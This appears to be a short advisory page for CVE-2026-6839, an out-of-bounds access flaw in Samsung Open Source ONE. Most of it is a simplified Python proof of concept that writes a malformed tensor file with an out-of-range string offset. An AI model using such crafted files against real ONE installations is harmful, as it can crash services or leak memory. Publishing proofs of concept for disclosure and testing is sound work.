CVE-2026-6839 Samsung Open Source ONE越界访问漏洞

# Conceptual PoC for triggering the OOB access import struct # This is a simplified representation of how one might craft a malformed tensor buffer. # Actual exploitation would depend on the specific file format of Samsung ONE. def create_malformed_tensor(): # Header: Version (4 bytes), Count (4 bytes) header = struct.pack('<II', 1, 1) # Metadata: Type STRING, Size # Simulating a string tensor with invalid offset # Normal offset would point within the buffer, here we point outside buffer_size = 100 malformed_offset = buffer_size + 1000 # Out of bounds offset # Constructing the metadata block (simplified) metadata = struct.pack('<I', 4) # Type 4 = STRING metadata += struct.pack('<Q', malformed_offset) # Offset metadata += struct.pack('<Q', 10) # Length # The payload (actual data is less relevant if the check fails on offset) payload = b'A' * 50 return header + metadata + payload # Save to file (simulated) with open('malformed_one_tensor.bin', 'wb') as f: f.write(create_malformed_tensor()) print("Malformed tensor file generated. Loading this in vulnerable ONE versions may trigger OOB access.")
